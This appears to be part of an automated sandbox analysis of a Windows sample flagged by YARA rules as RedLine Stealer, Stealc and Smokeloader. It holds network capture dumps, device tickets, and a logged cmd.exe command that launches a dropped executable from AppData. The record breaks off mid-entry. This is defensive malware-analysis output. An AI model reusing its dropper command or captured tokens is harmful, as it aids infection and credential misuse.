2024-07-26 08:40:57 UTC	620	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 62 6f 71 5f 69 64 65 6e 74 69 74 79 66 72 6f 6e 74 65 6e 64 61 75 74 68 75 69 73 65 72 76 65 72 5f 32 30 32 34 30 37 32 33 2e 30 30 5f 70 30 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 34 22 5d 2c 5b 33 2c 30 2c 30 Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"boq_identityfrontendauthuiserver_20240723.00_p0",null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.134"],[3,0,0
2024-07-26 08:40:57 UTC	523	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Fri, 26 Jul 2024 08:40:57 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-07-26 08:40:57 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-07-26 08:40:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	49807	40.113.110.67	443	5944	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 08:40:57 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 63 42 58 49 71 6a 32 41 5a 6b 75 51 6c 4f 4d 48 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 33 30 31 66 30 65 38 61 64 35 64 65 34 61 61 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: cBXIqj2AZkuQlOMH.1Context: 4301f0e8ad5de4aa
2024-07-26 08:40:57 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-07-26 08:40:57 UTC	1064	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 31 0d 0a 4d 53 2d 43 56 3a 20 63 42 58 49 71 6a 32 41 5a 6b 75 51 6c 4f 4d 48 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 33 30 31 66 30 65 38 61 64 35 64 65 34 61 61 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 62 48 74 6f 70 66 54 42 56 71 76 36 75 56 48 4a 72 62 73 42 53 2f 6c 49 72 55 34 39 64 4d 2b 39 6b 59 49 65 43 4b 2f 36 43 2f 35 6b 41 50 6f 4f 32 77 62 75 75 30 37 68 50 66 64 36 37 55 42 5a 4f 4d 45 67 44 58 78 42 35 71 54 61 48 79 41 58 6f 53 6d 31 63 44 57 58 76 75 6a 64 52 6d 77 6a 52 46 5a 5a 54 68 4a 6f 54 43 6d 5a 6c Data Ascii: ATH 2 CON\DEVICE 1041MS-CV: cBXIqj2AZkuQlOMH.2Context: 4301f0e8ad5de4aa<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAbHtopfTBVqv6uVHJrbsBS/lIrU49dM+9kYIeCK/6C/5kAPoO2wbuu07hPfd67UBZOMEgDXxB5qTaHyAXoSm1cDWXvujdRmwjRFZZThJoTCmZl
2024-07-26 08:40:57 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 63 42 58 49 71 6a 32 41 5a 6b 75 51 6c 4f 4d 48 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 33 30 31 66 30 65 38 61 64 35 64 65 34 61 61 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: cBXIqj2AZkuQlOMH.3Context: 4301f0e8ad5de4aa<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-07-26 08:40:57 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-07-26 08:40:57 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 53 6e 36 50 66 35 32 69 35 6b 4f 72 78 41 4a 44 59 38 76 69 4e 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: Sn6Pf52i5kOrxAJDY8viNA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	49824	104.208.16.95	443	3132	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 08:41:04 UTC	828	OUT	POST /OneCollector/1.0/ HTTP/1.1 Accept: / APIKey: cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521 AuthMsaDeviceTicket: t=GwAWAbuEBAAU2qcZHJoKGNizGOeyqM4OaIoSZ0MOZgAAENX7wUC+MYl+R+dP6Ge+Ps/gAK2S4rAvLsS9lNlstWnrY2Ovw6/QYWUW40yWi3W2oq2TgmfD/F4rhcGc/Q3kxTRWn1J3nPhOAny4YuIpbKp/JxVo2IKfr0u2Ob+Xasi+8kVvlgcJFM/02j6m9rZf8SsufBGSnZuCNcAMbSRQwAt9ttIddTRQ/7dkFG7ZzhfDKlscCwPqu8roSfIr2wEDw126PJnTg8kgpdZV8FhO09Z9yZkJbvNRCuX40AaiKTP7/kep+t5XHG1Tp05wc6bODUUz8SiWkHpg7isRn5nplH5Pwj6qy8wfjiPn8r9T6Iz9u6hFIAE=&p= Client-Id: NO_AUTH Content-Encoding: deflate Content-Type: application/bond-compact-binary Expect: 100-continue SDK-Version: EVT-Windows-C++-No-3.4.15.1 Upload-Time: 1721983262778 Host: self.events.data.microsoft.com Content-Length: 7973 Connection: Keep-Alive Cache-Control: no-cache
2024-07-26 08:41:04 UTC	7973	OUT	Data Raw: ed 7c 4b ac 5c c7 99 5e 53 d2 28 14 45 51 b4 24 cb 92 ac b1 38 84 ec 58 e3 ee 9b 7a 3f 1a 19 8c 29 92 b2 a8 21 4d 85 97 92 1c 03 03 e6 74 f7 e9 be 87 ec ee 73 d5 0f 3e 84 59 08 5e 0c 30 01 26 08 0d 0c 12 64 65 04 48 30 02 92 20 8b 64 91 41 80 cc 22 8b 38 0c 10 04 03 64 e3 2c 66 02 24 8b ac 06 41 92 4d b2 c8 f7 d7 79 55 17 af 68 8f 61 08 63 80 17 24 2f ff aa 3a f5 fc ff ef ff fe aa 3a e7 ad 27 e5 1e bb a4 ae 4e a7 c5 38 bf b1 7f 6f bd c9 17 f5 af 77 f3 6c be 39 b8 92 6f b2 49 b6 c9 2e e4 b7 51 e2 7c b9 5c 97 f3 02 09 f9 e4 e3 4f ff ec ef fd eb 7f f3 27 ff f9 bf 7c e9 b3 b3 e5 70 3c 71 d2 18 61 0c e7 63 35 ce b2 cc 4d c7 7a 24 72 2b 5c 9e 3b 3e f9 4f 4f ff e0 a9 07 5f 3e 71 ac 38 f9 e1 95 3b d9 2a ef 9f b9 b4 1c ef fd de 89 4a 12 ac cf 7b 0f 5e 3e 71 ac f7 Data Ascii: \|K\^S(EQ$8Xz?)!Mts>Y^0&deH0 dA"8d,f$AMyUhac$/::'N8owl9oI.Q\|\O'\|p<qac5Mz$r+\;>OO_>q8;*J{^>q
2024-07-26 08:41:04 UTC	434	IN	HTTP/1.1 200 OK Content-Length: 9 Content-Type: application/json Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 time-delta-millis: 1565 Access-Control-Allow-Headers: time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Access-Control-Expose-Headers: time-delta-millis Date: Fri, 26 Jul 2024 08:41:03 GMT Connection: close
2024-07-26 08:41:04 UTC	9	IN	Data Raw: 7b 22 61 63 63 22 3a 34 7d Data Ascii: {"acc":4}

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	50071	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-07-26 08:42:48 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 36 5a 70 5a 47 6a 4e 31 6a 30 32 6a 32 78 67 35 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 35 64 61 33 34 31 36 34 36 31 31 38 37 38 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 6ZpZGjN1j02j2xg5.1Context: b5da341646118780
2024-07-26 08:42:48 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-07-26 08:42:48 UTC	1064	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 31 0d 0a 4d 53 2d 43 56 3a 20 36 5a 70 5a 47 6a 4e 31 6a 30 32 6a 32 78 67 35 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 35 64 61 33 34 31 36 34 36 31 31 38 37 38 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 62 48 74 6f 70 66 54 42 56 71 76 36 75 56 48 4a 72 62 73 42 53 2f 6c 49 72 55 34 39 64 4d 2b 39 6b 59 49 65 43 4b 2f 36 43 2f 35 6b 41 50 6f 4f 32 77 62 75 75 30 37 68 50 66 64 36 37 55 42 5a 4f 4d 45 67 44 58 78 42 35 71 54 61 48 79 41 58 6f 53 6d 31 63 44 57 58 76 75 6a 64 52 6d 77 6a 52 46 5a 5a 54 68 4a 6f 54 43 6d 5a 6c Data Ascii: ATH 2 CON\DEVICE 1041MS-CV: 6ZpZGjN1j02j2xg5.2Context: b5da341646118780<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAbHtopfTBVqv6uVHJrbsBS/lIrU49dM+9kYIeCK/6C/5kAPoO2wbuu07hPfd67UBZOMEgDXxB5qTaHyAXoSm1cDWXvujdRmwjRFZZThJoTCmZl
2024-07-26 08:42:48 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 36 5a 70 5a 47 6a 4e 31 6a 30 32 6a 32 78 67 35 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 35 64 61 33 34 31 36 34 36 31 31 38 37 38 30 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 6ZpZGjN1j02j2xg5.3Context: b5da341646118780<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-07-26 08:42:48 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-07-26 08:42:48 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 70 6c 32 65 78 39 49 4f 2f 55 47 76 48 55 43 57 2b 4b 6b 74 78 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: pl2ex9IO/UGvHUCW+Kktxw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	50278	23.200.0.42	443

Timestamp	Bytes transferred	Direction	Data
2024-07-26 08:44:17 UTC	442	OUT	OPTIONS /api/report?cat=bingbusiness HTTP/1.1 Host: bzib.nelreports.net Connection: keep-alive Origin: https://business.bing.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-07-26 08:44:17 UTC	351	IN	HTTP/1.1 403 Forbidden Content-Length: 2342 Content-Type: text/html Date: Fri, 26 Jul 2024 08:44:17 GMT Connection: close PMUSER_FORMAT_QS: X-CDN-TraceId: 0.2aac2d17.1721983457.d93b1cf Access-Control-Allow-Credentials: false Access-Control-Allow-Methods: * Access-Control-Allow-Methods: GET, OPTIONS, POST Access-Control-Allow-Origin: *
2024-07-26 08:44:17 UTC	1938	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 57 65 62 20 41 70 70 20 2d 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 20 20 20 20 20 20 68 74 6d 6c 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 23 66 65 61 74 75 72 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 39 36 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 39 35 Data Ascii: <!DOCTYPE html><html><head> <title>Web App - Unavailable</title> <style type="text/css"> html { height: 100%; width: 100%; } #feature { width: 960px; margin: 95
2024-07-26 08:44:17 UTC	404	IN	Data Raw: 74 20 61 67 61 69 6e 20 73 6f 6f 6e 2e 3c 2f 70 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 69 64 3d 22 74 6f 41 64 6d 69 6e 22 3e 49 66 20 79 6f 75 20 61 72 65 20 74 68 65 20 77 65 62 20 61 70 70 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2c 20 70 6c 65 61 73 65 20 66 69 6e 64 20 74 68 65 20 63 6f 6d 6d 6f 6e 20 34 30 33 20 65 72 72 6f 72 20 73 63 65 6e 61 72 69 6f 73 20 61 6e 64 20 72 65 73 6f 6c 75 74 69 6f 6e 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6f 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 66 77 6c 69 6e 6b 2f 3f 6c 69 6e 6b 69 64 3d 32 30 39 35 30 30 37 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 68 65 72 65 3c 2f 61 3e 2e 20 46 6f 72 20 66 75 72 74 68 65 72 20 74 72 6f 75 62 6c 65 73 68 6f 6f 74 Data Ascii: t again soon.</p> <p id="toAdmin">If you are the web app administrator, please find the common 403 error scenarios and resolution <a href="https://go.microsoft.com/fwlink/?linkid=2095007" target="_blank">here</a>. For further troubleshoot

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	54094	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2024-07-26 08:44:58 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 51 6e 78 6b 4b 58 71 48 6e 55 57 2b 4a 39 71 39 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 39 63 32 33 61 30 63 34 31 32 62 32 61 39 63 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: QnxkKXqHnUW+J9q9.1Context: e9c23a0c412b2a9c
2024-07-26 08:44:58 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-07-26 08:44:58 UTC	1064	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 31 0d 0a 4d 53 2d 43 56 3a 20 51 6e 78 6b 4b 58 71 48 6e 55 57 2b 4a 39 71 39 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 39 63 32 33 61 30 63 34 31 32 62 32 61 39 63 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 62 48 74 6f 70 66 54 42 56 71 76 36 75 56 48 4a 72 62 73 42 53 2f 6c 49 72 55 34 39 64 4d 2b 39 6b 59 49 65 43 4b 2f 36 43 2f 35 6b 41 50 6f 4f 32 77 62 75 75 30 37 68 50 66 64 36 37 55 42 5a 4f 4d 45 67 44 58 78 42 35 71 54 61 48 79 41 58 6f 53 6d 31 63 44 57 58 76 75 6a 64 52 6d 77 6a 52 46 5a 5a 54 68 4a 6f 54 43 6d 5a 6c Data Ascii: ATH 2 CON\DEVICE 1041MS-CV: QnxkKXqHnUW+J9q9.2Context: e9c23a0c412b2a9c<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAbHtopfTBVqv6uVHJrbsBS/lIrU49dM+9kYIeCK/6C/5kAPoO2wbuu07hPfd67UBZOMEgDXxB5qTaHyAXoSm1cDWXvujdRmwjRFZZThJoTCmZl
2024-07-26 08:44:58 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 51 6e 78 6b 4b 58 71 48 6e 55 57 2b 4a 39 71 39 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 39 63 32 33 61 30 63 34 31 32 62 32 61 39 63 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: QnxkKXqHnUW+J9q9.3Context: e9c23a0c412b2a9c<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-07-26 08:44:59 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-07-26 08:44:59 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 2f 66 7a 30 63 54 67 61 4b 55 65 69 4d 42 56 77 58 44 46 6b 69 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: /fz0cTgaKUeiMBVwXDFkiQ.0Payload parsing failed.

Target ID:	0
Start time:	04:36:02
Start date:	26/07/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x400000
File size:	253'952 bytes
MD5 hash:	D3CE34E9BB2A33AB3D637E75AF2A8BB8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.2400576225.00000000024ED000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2400608729.0000000002507000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.2401105762.0000000004090000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	04:36:20
Start date:	26/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\RoamingBKJEGDGIJE.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	04:36:20
Start date:	26/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
